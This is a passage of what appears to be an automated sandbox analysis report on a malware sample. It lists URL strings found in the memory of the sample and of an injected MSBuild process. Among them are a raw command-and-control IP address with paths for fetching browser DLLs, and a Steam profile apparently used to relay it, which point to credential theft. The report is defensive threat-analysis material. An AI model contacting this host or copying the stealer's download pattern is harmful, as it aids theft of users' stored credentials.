a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: EHDHIDAEHC.exe, 00000004.00000002.2094707680.0000000003EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181756308.00000000251AD000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2356741702.000000002005D000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://168.119.176.241
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/$
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/&
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/(%f
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/19.176.241/D
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/259H
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1875999041.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/41
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1842134770.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1843666426.0000000003306000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1837988087.0000000003304000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/6
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/8
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/ECD
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/H%
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1853924998.0000000003307000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/K
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/Microsoft
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1875999041.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864935902.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864808127.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1865053978.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864080722.0000000003305000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1865567141.0000000003307000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/RCHAR
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/X%
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/freebl3.dll
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/ge
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/graphy
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/key%
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/mozglue.dll5
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/mozglue.dllU
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/msvcp140.dll
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/nss3.dll
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/nss3.dllf
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/qo
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/r
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/r5
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/s
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/s_1l
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/softokn3.dll
Source: MSBuild.exe, 00000006.00000002.2343148482.000000000052A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/sqls.dll
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/sqls.dllI
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001323000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/sqls.dll_
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/t
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/vcruntime140.dll
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/vcruntime140.dlljk
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241/z:O
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241938.132
Source: MSBuild.exe, 00000006.00000002.2343148482.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.24194ad947dnt-Disposition:
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://168.119.176.241FB
Source: MSBuild.exe, 00000006.00000002.2343148482.000000000056E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241HI
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000530000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241e
Source: MSBuild.exe, 00000006.00000002.2343148482.000000000054F000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.000000000056E000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000430000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000607000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.176.241ocal
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.a
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	String found in binary or memory: https://community.akamai.steamstatic.com/public/
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=zGRpBs82SFHJ&a
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, 